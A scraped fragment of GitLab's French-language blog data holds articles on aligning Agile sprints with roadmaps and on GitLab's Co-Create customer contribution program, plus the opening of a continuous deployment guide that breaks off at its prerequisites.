\"@type\": \"Article\",\n        \"headline\": \"Comment harmoniser les sprints Agile avec les roadmaps produit\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2025-02-04\",\n      }",{"title":1777,"description":1778,"authors":1783,"heroImage":1779,"date":1784,"body":1785,"category":1480,"tags":1786,"updatedDate":1787},[1477],"2025-02-04","Prenons l'exemple d'équipes produit et de développement travaillant en vase clos. La situation est la suivante : l'équipe produit établit une roadmap sur 12 mois et la communique aux parties prenantes internes, sans toutefois l'examiner au préalable avec l'équipe de développement. De son côté, l'équipe de développement commence à créer les fonctionnalités prévues pour le prochain sprint sans tenir compte de la roadmap produit globale. Résultat : des occasions manquées d'optimiser le calendrier, de mener des projets en parallèle, d'ajuster la charge de travail de l'équipe ou de concevoir des API réutilisables pouvant servir à plusieurs initiatives. Ce manque de coordination entraîne des inefficacités et des retards dans la livraison de valeur.\n\nTrouver le juste équilibre entre gains à court terme et vision à long terme n'est pas toujours facile. Pour y parvenir, une communication claire, des priorités alignées et les bons outils sont indispensables. Découvrez dans ce guide des stratégies concrètes pour harmoniser vos sprints Agile avec des roadmaps stratégiques, relever les défis du développement logiciel et mettre en place des solutions efficaces adaptées à vos équipes.\n\n## L'importance d'une source unique de vérité\n\nUne source unique et cohérente de vérité pour les roadmaps avec des objectifs à plus long terme vous garantit, à vous et à vos équipes, de disposer d'informations actualisées sur la vision globale du projet. Concrètement, cela implique d'adopter une plateforme unique et mise à jour régulièrement pour centraliser tous les détails de votre roadmap. Vous évitez ainsi la multiplication des versions de votre roadmap produit dans différents formats, source de divergences en termes d'informations et de mauvaise compréhension des objectifs à atteindre.\n\n### Comment créer une roadmap produit centralisée\n\nEn créant une roadmap centralisée pour votre équipe, vous pouvez :\n\n* communiquer une stratégie à long terme  \n* réduire au maximum les erreurs de communication  \n* faciliter l'alignement entre les différentes équipes \n* vous adapter rapidement aux changements sans perdre le contexte   \n* offrir un accès aux informations en libre-service, et ainsi réduire la dépendance à un point de contact unique détenant l'information\n\n***Conseil GitLab** : avec les [epics](https://docs.gitlab.com/ee/user/group/epics/) et la [vue Roadmap](https://docs.gitlab.com/ee/user/group/roadmap/), vous pouvez facilement suivre la planification de vos produits et leurs livraisons. En effet, la vue Roadmap vous permet de suivre la progression du projet, d'identifier les goulots d'étranglement et d'assurer l'alignement entre les objectifs stratégiques et l'exécution des sprints.* \n\n![Vue Roadmap pour le groupe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097239117.png)\n\n## Pratiques collaboratives de révision d'une roadmap\n\nÉtablissez un processus régulier de révision et de validation des mises à jour de la roadmap produit en incluant un [trio produit](https://www.producttalk.org/product-trio/) gagnant, à savoir les équipes produit, les équipes UX et les équipes d'ingénierie. Les sessions de révision collaboratives de la roadmap vous aident à maintenir l'alignement entre les parties prenantes et à réduire au maximum les risques. Par exemple, chez GitLab, les réunions avec l'Engineering Manager et l'UX Designer assignés à un projet donné ont lieu chaque mois pour passer en revue les modifications et les valider avec eux. Nous maintenons un suivi des validations sur la page wiki de la roadmap elle-même, ce qui nous engage à respecter le calendrier et garantit la transparence vis-à-vis du reste de l'entreprise.\n\n### Comment optimiser l'efficacité des sessions de révision\n\nPour tirer le meilleur parti des sessions de révision, adoptez les bonnes pratiques suivantes :\n\n* Planifiez des révisions systématiques, mensuelles ou trimestrielles, en fonction de la fréquence à laquelle la roadmap a tendance à évoluer au sein de votre entreprise.\n* Validez l'alignement entre les objectifs produit, le délai de mise en œuvre de l'expérience utilisateur et la faisabilité technique en discutant dès le départ des risques potentiels et des dépendances.   \n  * Assurez-vous que la roadmap reflète les objectifs actuels de l'entreprise.  \n  * Veillez à ce que les délais de conception soient réalistes et tiennent compte des besoins en matière de recherche ou de validation.\n  * Vérifiez que la roadmap inclut le temps alloué à la préparation technique, y compris pour des explorations techniques ou des investigations. Vous pouvez ainsi vous assurer que le travail technique en amont s'aligne avec les priorités globales de l’équipe d'ingénierie.  \n* Optimisez l'efficacité de l'équipe en tenant compte des contraintes de capacité et en vous assurant que la séquence de travail correspond au profil de compétences de l'équipe. Il s'agit notamment d'éviter les périodes de sous-utilisation des ressources ou d'inadéquation des compétences tout en planifiant efficacement les situations telles que les baisses d'effectifs pendant les vacances.\n* Adaptez la portée du projet et définissez des objectifs réalistes en fonction de ce qui peut être accompli. Bien que nous souhaitions en faire toujours plus, la perfection est l'ennemie du progrès. Il convient donc de prioriser ce qui compte vraiment pour apporter de la valeur ajoutée de manière efficace. Recherchez les opportunités d'optimisation en identifiant les moyens d'itérer ou d'augmenter la productivité, en ajustant par exemple l'ordre des tâches afin de réduire les dépendances ou en exploitant les composants réutilisables pour rationaliser le développement.\n* Favorisez un dialogue ouvert sur les compromis et les priorités afin de garantir la prise en compte de tous les points de vue. Cette approche collaborative permet d'identifier des solutions créatives pour relever des défis et de parvenir à un consensus sur la meilleure voie à suivre.\n\n***Conseil GitLab** : utilisez une page [wiki](https://docs.gitlab.com/ee/user/project/wiki/) pour compléter votre [Roadmap](https://docs.gitlab.com/ee/user/group/roadmap/). Le wiki vous permet d'inclure des informations contextuelles sur votre roadmap produit, telles que la justification commerciale, des liens vers des études utilisateurs, les scores RICE, ainsi que des détails sur les dépendances ou les risques. Créez des liens directs vers la roadmap pour en faciliter l'accès, et tirez parti de la fonctionnalité de fils de discussion pour encourager la collaboration asynchrone et les retours de votre équipe.*\n\n![Roadmap produit PlanFlow](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097239118.png)\n\n## Validation continue de la stratégie et mesure de la progression\n\nL'objectif d'une roadmap produit n'est pas seulement de vous permettre de rester sur la bonne voie, mais aussi d'apporter une réelle valeur ajoutée à vos clients. Pour favoriser le partage des retours utilisateurs et des données comportementales en continu, envisagez d'intégrer des points de contact réguliers issus du trio produit en dehors des cycles de sprint. Ces sessions peuvent servir à examiner les informations clés, à analyser les tendances et à s'assurer que la roadmap produit reflète toujours l'évolution des besoins de vos utilisateurs. En fondant les mises à jour de la roadmap sur les informations réelles des utilisateurs, vous optimisez non seulement vos résultats, mais vous vous adaptez également aux réels besoins de vos clients.\n\nLa valeur que vous livrez peut prendre la forme d'une meilleure ergonomie, d'une dette technique réduite ou de nouvelles fonctionnalités. Lorsque le trio produit est aligné sur la vision de la roadmap, il l'est également sur les résultats que vous vous efforcez d'atteindre.\n\nAfin de déterminer si vous serez en mesure d'atteindre ces résultats, vous devez évaluer précisément les résultats escomptés. Les dérives des objectifs, comme l'ajout tardif de user stories, peut retarder votre capacité à fournir de la valeur. Il est également important d'identifier les tâches réalisées qui ne correspondent pas à la roadmap et d'en comprendre les raisons.\n\n### Planification du sprint\n\nPour maintenir l'alignement des parties prenantes impliquées avec votre roadmap produit, vous devez impérativement commencer par une planification réfléchie de votre sprint. \n\nVoici quelques bonnes pratiques à mettre en œuvre afin de permettre à votre équipe de garder le cap et de se concentrer sur la création de valeur :\n\n* Définissez clairement les objectifs souhaités en délimitant précisément leur portée pour assurer une réalisation efficace.  \n* Identifiez les ajouts tardifs ou ajustements potentiels qui pourraient retarder la livraison et prévoyez des marges de sécurité pour maintenir la concentration des équipes.  \n* Mettez-vous d'accord avec votre équipe sur l'ordre des tâches à effectuer afin d'optimiser l'utilisation des ressources, de prendre en compte les compétences disponibles et de réduire les dépendances.\n* Évitez de planifier à 100 % la capacité de l'équipe pour maintenir la concentration et améliorer la confiance dans le respect des délais. Prévoyez une marge (10 à 20 %) pour gérer les imprévus ou les nouvelles opportunités qui pourraient survenir pendant le sprint.\n\n### Exécution du sprint\n\nRespecter votre roadmap pendant le sprint exige de la concentration, une communication adéquate et une évaluation constante. Si l'objectif est de créer de la valeur, il est tout aussi important de s'assurer que le travail en cours correspond aux résultats que vous avez définis et planifiés.\n\n* Validez en permanence le travail en cours par rapport aux résultats de la roadmap pour vous assurer que chaque sprint contribue à la vision globale.\n* Encouragez l'équipe à vérifier régulièrement qu'elle travaille toujours en vue des objectifs et des résultats escomptés.\n* Maintenez une communication ouverte tout au long du sprint. Organisez des réunions quotidiennes ou des mises à jour asynchrones pour identifier rapidement les risques, les imprévus ou les dépendances et procédez aux ajustements nécessaires.\n* Faites preuve d'une rigueur sans faille pour protéger le sprint. Bien qu'il soit naturel de vouloir résoudre les problèmes émergents, le travail non planifié doit être soigneusement évalué afin d'éviter de faire dérailler les priorités convenues.\n* Gérez de manière proactive toute dérive des objectifs. Si de nouvelles tâches apparaissent en cours de sprint, évaluez leur adéquation avec l'objectif défini de manière précise dans la roadmap. Bien que des idées ou des fonctionnalités supplémentaires puissent s'aligner conceptuellement sur le résultat plus large, elles peuvent ne pas s'intégrer dans le plan immédiat de création de valeur. Documentez ces suggestions et évaluez si elles doivent être considérées comme faisant partie d'itérations futures ou comme un plus pour l'avenir, plutôt que de les introduire dans le sprint en cours et de retarder les priorités convenues.\n\n### Rétrospectives de sprint\n\nLors de vos rétrospectives de sprint, prenez le temps de réfléchir avec votre équipe sur la manière dont vous progressez collectivement vers les résultats souhaités. Les questions à se poser sont les suivantes :\n\n* Des tâches imprévues ont-elles été ajoutées pendant le sprint, retardant ainsi votre capacité à créer de la valeur ? Identifiez pourquoi cela s'est produit et quels ajustements peuvent être apportés.\n* Avez-vous livré des tâches qui s'écartaient de la roadmap ? Discutez des raisons de cet écart et des enseignements que vous pouvez en tirer pour la planification future.\n\nDe la planification du sprint aux rétrospectives, il est de la responsabilité de l'équipe de rester concentrée sur l'obtention de résultats tangibles pour les utilisateurs et les parties prenantes. En s'alignant à chaque étape du processus, vous vous assurez que votre roadmap reste un guide clair pour offrir de la valeur de manière efficace et cohérente.\n\n***Conseil GitLab** : utilisez les [graphiques d'avancement burndown](https://docs.gitlab.com/ee/user/project/milestones/burndown_and_burnup_charts.html) de GitLab pour visualiser les progrès et détecter rapidement les écarts, afin d'aider votre équipe à rester concentrée sur l'obtention de résultats.*\n\n![Graphique d'avancement burndow](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097239/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097239120.png)\n\n## Livrer les résultats de la roadmap en toute confiance\n\nHarmoniser les sprints agiles avec les roadmaps stratégiques nécessite une approche intentionnelle, l'adhésion de l'équipe et les outils appropriés. Créer une source unique de vérité, encourager les révisions collaboratives et mesurer la progression vers les résultats vous permet d'aligner l'exécution sur la vision du produit. Grâce aux fonctionnalités de planification de GitLab, vos équipes peuvent transformer tous ces défis en opportunités d'innovation et de croissance.\n\nVous souhaitez aligner vos sprints sur votre roadmap stratégique ? [Commencez un essai gratuit de GitLab](https://about.gitlab.com/fr-fr/free-trial/) dès aujourd'hui et découvrez les fonctionnalités qui vous permettront de garantir que chaque cycle de développement contribue efficacement aux objectifs à long terme de votre entreprise.\n\n## En savoir plus\n\n- [Le nouveau rôle de planificateur de GitLab pour aider les équipes de planification Agile](https://about.gitlab.com/fr-fr/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams/)\n- [Wiki GitLab : l'outil pour une gestion efficace des connaissances](https://about.gitlab.com/fr-fr/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management/)\n- [Comment utiliser GitLab pour le développement logiciel agile](https://about.gitlab.com/fr-fr/blog/gitlab-for-agile-software-development/ \"Comment utiliser GitLab pour le développement logiciel agile\")\n- [Comment la planification Agile de GitLab améliore la gestion de projet collaborative ](https://about.gitlab.com/fr-fr/blog/how-gitlab-agile-planning-improves-collaborative-project-management/ \"Comment la planification Agile de GitLab améliore la gestion de projet collaborative \")\n",[1482,1069,853,1067],"2025-03-06",{"slug":1789,"featured":92,"template":683},"how-to-harmonize-agile-sprints-with-product-roadmaps","content:fr-fr:blog:how-to-harmonize-agile-sprints-with-product-roadmaps.yml","How To Harmonize Agile Sprints With Product Roadmaps","fr-fr/blog/how-to-harmonize-agile-sprints-with-product-roadmaps.yml","fr-fr/blog/how-to-harmonize-agile-sprints-with-product-roadmaps",{"_path":1795,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1796,"content":1801,"config":1811,"_id":1813,"_type":16,"title":1814,"_source":17,"_file":1815,"_stem":1816,"_extension":20},"/fr-fr/blog/the-co-create-program-how-customers-are-collaborating-to-build-gitlab",{"title":1797,"description":1798,"ogTitle":1797,"ogDescription":1798,"noIndex":6,"ogImage":865,"ogUrl":1799,"ogSiteName":841,"ogType":842,"canonicalUrls":1799,"schema":1800},"Programme Co-Create : comment nous construisons GitLab avec nos clients","Découvrez comment Thales, Scania et Kitware collaborent avec les ingénieurs de GitLab pour contribuer au développement de fonctionnalités significatives.","https://about.gitlab.com/blog/the-co-create-program-how-customers-are-collaborating-to-build-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Programme Co-Create : comment nous construisons GitLab avec nos clients\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fatima Sarah Khalid\"}],\n        \"datePublished\": \"2025-01-30\",\n      }",{"title":1797,"description":1798,"authors":1802,"heroImage":865,"date":1804,"body":1805,"category":1806,"tags":1807,"updatedDate":1810},[1803],"Fatima Sarah Khalid","2025-01-30","L'année dernière, plus de 800 membres de la communauté ont apporté plus de 3 000 contributions à GitLab. Parmi ces contributeurs figurent des membres issus d'équipes travaillant pour des entreprises internationales comme Thales, Scania et Kitware qui contribuent à façonner l'avenir de GitLab grâce au [Programme Co-Create](https://about.gitlab.com/community/co-create/). Dans le cadre de ce programme de développement collaboratif mis en place par GitLab, les clients travaillent directement avec les ingénieurs de GitLab pour ajouter des fonctionnalités importantes à la plateforme.\n\nÀ travers des ateliers, des sessions de programmation en binôme et une assistance en continu, les participants au programme acquièrent une connaissance pratique de l'architecture et du code base de GitLab tout en résolvant des problèmes ou en améliorant des fonctionnalités existantes.\n\n*« Notre expérience avec le Programme Co-Create a été incroyable »*, déclare Sébastien Lejeune, Open Source Advocate chez Thales. *« Il n'a fallu que deux mois entre le moment où nous avons discuté de notre contribution avec un ingénieur de l'équipe Contributor Success de GitLab et le moment où nous l'avons intégrée à la version de GitLab. »*\n\nDans cet article, découvrez comment nos clients tirent parti du Programme Co-Create pour transformer leurs idées en code, tout en se formant et en apportant leur contribution.\n\n## Qu'est-ce que le Programme Co-Create ? \n\nAvec le [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit), les contributeurs peuvent facilement faire leurs premiers pas sur la plateforme de développement de GitLab. *« Ce que les nouveaux contributeurs doivent comprendre, c'est que rien n'est définitif avec le GDK »*, indique Hook. *« Si un contributeur effectue une modification qui ne fonctionne pas, il peut l'annuler ou tout recommencer. Le GDK permet d'expérimenter, de tester et d'apprendre sans se soucier de l'environnement. »*\n\nChaque entreprise participant au Programme Co-Create de GitLab reçoit une assistance tout au long de son parcours de contribution :\n\n- __Atelier d'intégration technique__ : session dédiée à la mise en place du GitLab Development Kit (GDK) et à la présentation de l'architecture de la plateforme GitLab.\n- __Support technique individuel__ : accès aux ingénieurs GitLab pour programmer en binôme et recevoir des conseils techniques.\n- __Explications détaillées sur l'architecture__ : sessions sur des composants spécifiques de la plateforme GitLab en lien direct avec le problème auquel l'entreprise contribue.\n- __Aide à la revue de code__ : retours et conseils détaillés tout au long du processus de merge request.\n- __Points réguliers__ : collaboration continue pour assurer l'avancement de la contribution et répondre aux problématiques rencontrées.\n\nCette structure garantit que les équipes peuvent contribuer efficacement, quelle que soit leur expérience antérieure avec le code base de GitLab ou les langages de programmation Ruby/Go. Comme le note John Parent de Kitware, *« si vous êtes un nouvel utilisateur de GitLab, vous avez l'impression d'être face à une architecture sophistiquée et à une immense quantité de code réparti sur différents projets. Le Programme Co-Create regroupe l'équivalent de plusieurs semaines de formation interne en une formation accélérée et ciblée. »*\n\nEn plus d'aboutir au développement de nouvelles fonctionnalités, ce programme permet d'établir des relations durables entre GitLab et sa communauté d'utilisateurs. *« Le fait que nos clients contribuent avec enthousiasme au développement de nouvelles fonctionnalités est inspirant pour nos ingénieurs »*, révèle Shekhar Patnaik, Principal Engineer chez GitLab. *« Les clients découvrent la \"méthode GitLab\" et les ingénieurs sont témoins de leur engagement à façonner l'avenir de GitLab. »*\n\n## Contribution de Thales : amélioration de l'expérience utilisateur des projets\n\nLa société Thales a identifié des opportunités pour améliorer l'interface utilisateur de la plateforme GitLab lorsque les utilisateurs créent des projets vides. Et elle ne s'est pas contentée de soumettre une demande de fonctionnalité : elle a développé la solution elle-même. Elle a axé ses contributions sur l’amélioration de l'expérience de configuration de nouveaux projets en simplifiant la configuration SSH/HTTPS avec une interface composée de plusieurs onglets et en ajoutant une fonctionnalité de copier/coller pour les extraits de code. Ces changements ont eu un impact significatif sur les workflows des équipes de développement. \n\nL'équipe de Thales n'a pas seulement travaillé à l'amélioration de l'UX. Quentin Michaud, doctorant travaillant dans le domaine des applications cloud en périphérie chez Thales, a contribué à l'amélioration du GitLab Development Kit (GDK). Chargé de maintenance de paquets pour Arch Linux, Quentin Michaud, fort de son expertise, a contribué à enrichir la documentation du GDK et à soutenir sa conteneurisation, facilitant ainsi le travail des futurs contributeurs.\n\n*« Grâce à mon expérience en open source, j'ai pu améliorer la prise en charge des distributions Linux par le GDK »*, explique Quentin Michaud. *« Pendant que j'améliorais la documentation sur la gestion de versions des paquets, j'ai constaté que l'équipe Contributor Success de GitLab travaillait également à l'intégration du GDK dans un conteneur. Voir nos efforts converger a été un grand moment pour moi. Cela a montré que la collaboration open source peut contribuer à la création de meilleures solutions. »*\n\nL'expérience s'étant avérée positive pour l'équipe de Thales, Sébastien Lejeune utilise désormais le Programme Co-Create comme exemple *« pour montrer à nos managers le retour sur investissement généré grâce aux contributions open source. »*\n\n## Contribution de Scania : amélioration de la prise en charge des paquets\nLorsque l'entreprise Scania a eu besoin d'une prise en charge avancée des paquets dans GitLab, elle a vu une opportunité d'apporter sa contribution et de développer cette fonctionnalité elle-même. \n\n*« Cela fait longtemps que nous utilisons la plateforme GitLab et que nous promouvons activement l'open source au sein de notre entreprise. Le Programme Co-Create est pour nous une façon concrète d'y contribuer directement »*, révèle Puttaraju Venugopal Hassan, Solution Architect chez Scania.\n\nL'équipe a commencé par des changements mineurs pour se familiariser avec le code base et le processus de revue avant de passer à des fonctionnalités plus importantes. *« L'un des aspects les plus gratifiants du Programme Co-Create a été de revenir sur l'ensemble du processus et de voir le chemin parcouru »*, indique Océane Legrand, Software Developer chez Scania. *« Nous avons commencé par évaluer les besoins et apporter de petits changements, avant de passer à des tâches plus importantes au fil du temps. C'est formidable de voir cette progression. »*\n\nLes contributions de l'équipe de Scania incluent la correction des bogues pour le registre de paquets, ainsi que l'amélioration des fonctionnalités du registre de paquets Conan. Ce dernier pourra bientôt être proposé en disponibilité générale (GA), avec l'implémentation de la prise en charge de la version 2 de Conan. Le travail et la collaboration de Scania avec GitLab sont la preuve que le Programme Co-Create peut apporter des améliorations significatives aux fonctionnalités de registre de paquets de GitLab.\n\n*« Dès le début, notre expérience avec le Programme Co-Create a été très organisée. Nous avons participé à des sessions de formation pendant lesquelles nous avons pu découvrir tous les éléments nécessaires à notre contribution. Des sessions individuelles avec un ingénieur GitLab nous ont également offert une vue détaillée de l'architecture des paquets de GitLab, ce qui a rendu le processus de contribution beaucoup plus fluide »*, déclare Juan Pablo Gonzalez, Software Developer chez Scania. \n\nL'impact du programme va au-delà du code. En effet, les participants acquièrent également des compétences précieuses grâce à leurs contributions. À l'occasion de la sortie de [la version 17.8 de GitLab](https://about.gitlab.com/releases/2025/01/16/gitlab-17-8-released/#mvp), Océane Legrand et Juan Pablo Gonzalez ont tous deux été désignés comme Most Valuable Person (MVP) de GitLab. Océane Legrand a parlé de l'impact de son travail en open source sur GitLab et Scania, y compris l'obtention de nouvelles compétences pour elle et son équipe : *« Ma contribution au travers du Programme Co-Create m'a permis d'acquérir de nouvelles compétences et une expérience de Ruby et des migrations en arrière-plan. Lorsque mon équipe chez Scania a rencontré un problème lors d'une mise à niveau, j'ai pu participer à sa résolution, car je l'avais déjà rencontré dans le cadre du Programme Co-Create. »*\n\n## Contribution de Kitware : optimisation de l'authentification pour le calcul haute performance\nKitware a mis à profit son expertise spécialisée issue de son travail avec des laboratoires nationaux pour améliorer le framework d'authentification de GitLab. Ses contributions comprenaient l'ajout de la prise en charge du flux d'autorisation d'appareil OAuth2 dans GitLab, ainsi que la mise en œuvre de nouveaux composants, tels que des tables de base de données, des contrôleurs, des vues et de la documentation. Ces améliorations élargissent les options d'authentification de GitLab, rendant la plateforme plus polyvalente pour les appareils sans navigateur ou disposant de capacités de saisie limitées.\n\n*« Le Programme Co-Create est le moyen le plus efficace de contribuer à GitLab en tant que contributeur externe »*, estime John Parent, R&D Engineer chez Kitware. *« Grâce aux sessions de [pair programming](https://about.gitlab.com/fr-fr/blog/agile-pairing-sessions/ \"Pair programming\") entre développeurs et développeuses, nous avons identifié de meilleures implémentations que nous aurions peut-être manquées si nous avions travaillé seuls. »*\n\nEn tant que contributeur open source de longue date, Kitware a particulièrement apprécié l'approche de développement de GitLab. *« Je me doutais que GitLab ne se contenterait pas de solutions prêtes à l'emploi à son échelle, mais voir les équipes de développement intégrer une dépendance Ruby au lieu de créer une solution interne personnalisée était génial »*, explique John Parent. *« Venant du monde C++, où les gestionnaires de paquets sont rares, j'ai apprécié de voir cette approche et sa simplicité. »*\n\n## Quels sont les avantages du Programme Co-Create ?\n\nLe Programme Co-Create crée de la valeur à la fois pour GitLab et le partenaire impliqué. *« Le programme comble le fossé qui peut exister entre les ingénieurs qui développent GitLab et nos clients »*, affirme Imre Farkas, Staff Backend Engineer chez GitLab. *« Collaborer avec les clients nous permet de comprendre leurs défis quotidiens, les parties de l'écosystème GitLab sur lesquelles ils s'appuient et les domaines dans lesquels des améliorations peuvent être apportées. C'est formidable de voir à quel point ils sont enthousiastes à l'idée de s'impliquer dans le développement de GitLab à nos côtés. »*\n\nCette approche collaborative accélère également le développement de GitLab. Comme l'observe Shekhar Patnaik, Principal Engineer chez GitLab : *« Grâce au Programme Co-Create, nos clients nous aident à faire progresser notre roadmap. Leurs contributions nous permettent de fournir des fonctionnalités critiques plus rapidement, ce qui profite à l'ensemble de notre base d'utilisateurs. Le programme étant en constante évolution, nous avons de fortes chances d'accélérer le développement de nos fonctionnalités les plus importantes en travaillant aux côtés des personnes qui comptent sur elles. »*\n\n## Premiers pas avec le Programme Co-Create\nVous souhaitez transformer vos demandes de fonctionnalités en réalité ? Que vous cherchiez à perfectionner l'interface utilisateur de GitLab comme Thales, à améliorer la prise en charge des paquets comme Scania ou à optimiser l'authentification comme Kitware, le Programme Co-Create accueille les entreprises qui souhaitent façonner activement l'avenir de GitLab tout en développant une expérience open source précieuse.\n\nContactez votre représentant GitLab pour en savoir plus sur la participation au Programme Co-Create ou visitez notre [page dédiée](https://about.gitlab.com/community/co-create/) pour plus d'informations.\n","customer-stories",[1808,913,1809],"contributors","customers","2025-02-10",{"slug":1812,"featured":92,"template":683},"the-co-create-program-how-customers-are-collaborating-to-build-gitlab","content:fr-fr:blog:the-co-create-program-how-customers-are-collaborating-to-build-gitlab.yml","The Co Create Program How Customers Are Collaborating To Build Gitlab","fr-fr/blog/the-co-create-program-how-customers-are-collaborating-to-build-gitlab.yml","fr-fr/blog/the-co-create-program-how-customers-are-collaborating-to-build-gitlab",{"_path":1818,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1819,"content":1825,"config":1832,"_id":1834,"_type":16,"title":1835,"_source":17,"_file":1836,"_stem":1837,"_extension":20},"/fr-fr/blog/from-code-to-production-a-guide-to-continuous-deployment-with-gitlab",{"title":1820,"description":1821,"ogTitle":1820,"ogDescription":1821,"noIndex":6,"ogImage":1822,"ogUrl":1823,"ogSiteName":841,"ogType":842,"canonicalUrls":1823,"schema":1824},"Du code à la production : guide du déploiement continu avec GitLab","Découvrez comment créer un pipeline de déploiement continu robuste dans GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659478/Blog/Hero%20Images/REFERENCE_-_Use_this_page_as_a_reference_for_thumbnail_sizes.png","https://about.gitlab.com/blog/from-code-to-production-a-guide-to-continuous-deployment-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Du code à la production : guide du déploiement continu avec GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Benjamin Skierlak\"},{\"@type\":\"Person\",\"name\":\"James Wormwell\"}],\n        \"datePublished\": \"2025-01-28\",\n      }\n                  ",{"title":1820,"description":1821,"authors":1826,"heroImage":1822,"date":1829,"body":1830,"category":676,"tags":1831,"updatedDate":1541},[1827,1828],"Benjamin Skierlak","James Wormwell","2025-01-28","Le déploiement continu est une pratique qui change la donne et qui permet aux équipes d'offrir de la valeur plus rapidement, avec une confiance accrue. Cependant, adopter des workflows de déploiement avancés, tels que [GitOps](https://about.gitlab.com/fr-fr/topics/gitops/ \"Qu'est-ce que GitOps ? \"), l'orchestration de conteneurs avec [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Kubernetes, la solution d’orchestration des conteneurs\") ou les environnements dynamiques, peut être intimidant pour les équipes non expérimentées.\n\nChez GitLab, nous nous engageons à ce que la livraison de logiciels soit sans accroc et évolutive. En permettant aux équipes de se concentrer sur les fondamentaux, nous leur donnons les moyens d'établir une base solide qui soutient la croissance et de mettre en place des stratégies plus complexes au fil du temps. \n\nDans ce guide, découvrez les étapes clés pour mettre en œuvre le déploiement continu avec GitLab et poser les bases d'une réussite à long terme.\n\n## Commencez par planifier votre workflow\n\nAvant de passer à la mise en œuvre technique, prenez le temps de planifier votre workflow de déploiement. Une planification minutieuse et une approche méthodique sont les clés du succès.\n\n### Stratégie de gestion des artefacts\n\nDans le contexte du déploiement continu, les artefacts désignent les fichiers empaquetés suite au processus de compilation, destinés à être stockés, déployés et dont vous devez gérer les versions. \n\nEn voici quelques exemples :\n\n- images de conteneurs pour vos applications\n- paquets\n- exécutables ou fichiers binaires compilés\n- bibliothèques\n- fichiers de configuration\n- packages de documentation\n- autres artefacts\n\nChaque type d'artefact joue un rôle spécifique dans votre processus de déploiement. Par exemple, une application web typique peut générer les artefacts suivants :\n\n- une image de conteneur pour le service backend\n- une archive ZIP des ressources frontend compilées\n- des fichiers SQL pour les modifications de base de données\n- des fichiers de configuration propres à l'environnement\n\nLa gestion efficace de ces artefacts est cruciale pour la réussite des déploiements. Voici comment aborder la gestion des artefacts.\n\n#### Artefacts et stratégies de contrôle des versions\n\nUne bonne pratique permettant de démarrer avec une structure bien organisée consiste à établir une stratégie de gestion des versions claire pour vos artefacts. \n\nLors de la création de nouvelles versions :\n\n- Utilisez la gestion sémantique de version (major.minor.patch) pour les tags de version\n  - Exemple : `myapp:1.2.3` pour une version stable\n  - Modifications de la version majeure (2.0.0) pour les changements cassants\n  - Modifications de la version mineure (1.3.0) pour les nouvelles fonctionnalités\n  - Modifications de la version des correctifs (1.2.4) pour les corrections de bugs\n- Conservez un tag 'latest' pour la version stable la plus récente\n  - Exemple : `myapp:latest` pour les déploiements automatisés\n- Incluez un SHA de validation pour un suivi précis des versions\n  - Exemple : `myapp:1.2.3-abc123f` pour le débogage\n- Utilisez des tags basés sur les branches pour les environnements de développement\n  - Exemple : `myapp:feature-user-auth` pour les tests de fonctionnalités\n\n#### Rétention des artefacts de compilation\n\nMettez en œuvre des règles de durée de rétention définies :\n\n- Définissez des délais d'expiration explicites pour les artefacts temporaires\n- Définissez les artefacts nécessitant une durée de rétention permanente\n- Configurez des stratégies de nettoyage pour gérer le stockage\n\n#### Accès au registre et authentification\n\nSécurisez vos artefacts avec des contrôles d'accès appropriés :\n\n- Implémentez des jetons d'accès personnels (Personal Access Tokens) pour l'accès des développeurs\n- Configurez des variables CI/CD pour l'authentification du pipeline\n- Mettez en place des portées d'accès appropriées\n\n### Stratégie d’environnement de déploiement \n\nRéfléchissez dès le départ à la configuration de vos environnements, car ils façonnent l'ensemble de votre pipeline de déploiement :\n\n- Configurations de l'environnement de développement, de préproduction et de production\n- Variables et secrets propres à l'environnement\n- Contrôles d'accès et règles de protection\n- Approche de suivi et de surveillance du déploiement\n\n### Cibles de déploiement\n\nIl est important de réfléchir à la cible de déploiement et à l'approche choisie, tout en prenant en compte les avantages et les inconvénients de ces décisions :\n\n- Besoins en infrastructure (machines virtuelles, conteneurs, services cloud)\n- Configurations de la sécurité et de l'accès au réseau\n- Mécanismes d'authentification (clés SSH, jetons d'accès)\n- Éléments à prendre en compte pour l'allocation des ressources et la mise à l'échelle\n\nLorsque vous avez défini votre stratégie et pris les décisions fondamentales, vous pouvez transformer cette planification en un pipeline fonctionnel. Nous allons créer un exemple concret qui démontre ces concepts, en commençant par une application simple à laquelle nous ajouterons progressivement des fonctionnalités de déploiement.\n\n## Mettez en œuvre votre pipeline CD\n\n### Exemple pas à pas\n\nExaminons comment mettre en œuvre un pipeline de déploiement continu de base pour une application web. Nous utiliserons une application HTML simple à titre d'exemple, mais ces principes s'appliquent à tout type d'application. Nous allons également déployer notre application sous la forme d'une image Docker sur une simple machine virtuelle. Cela nous permettra de nous appuyer sur une image organisée avec un minimum de dépendances et de nous assurer qu'aucun prérequis propre à l'environnement n'est introduit involontairement. En travaillant sur une machine virtuelle, nous ne ferons pas appel aux intégrations natives de GitLab, ce qui nous permettra de travailler sur une configuration plus simple, quoique moins évolutive.\n\n#### Prérequis\n\nDans cet exemple, nous allons conteneuriser une application qui s'exécutera sur une machine virtuelle hébergée sur la plateforme d'un fournisseur de services cloud. Nous testerons également cette application localement sur notre machine. Cette liste de prérequis n'est nécessaire que pour notre 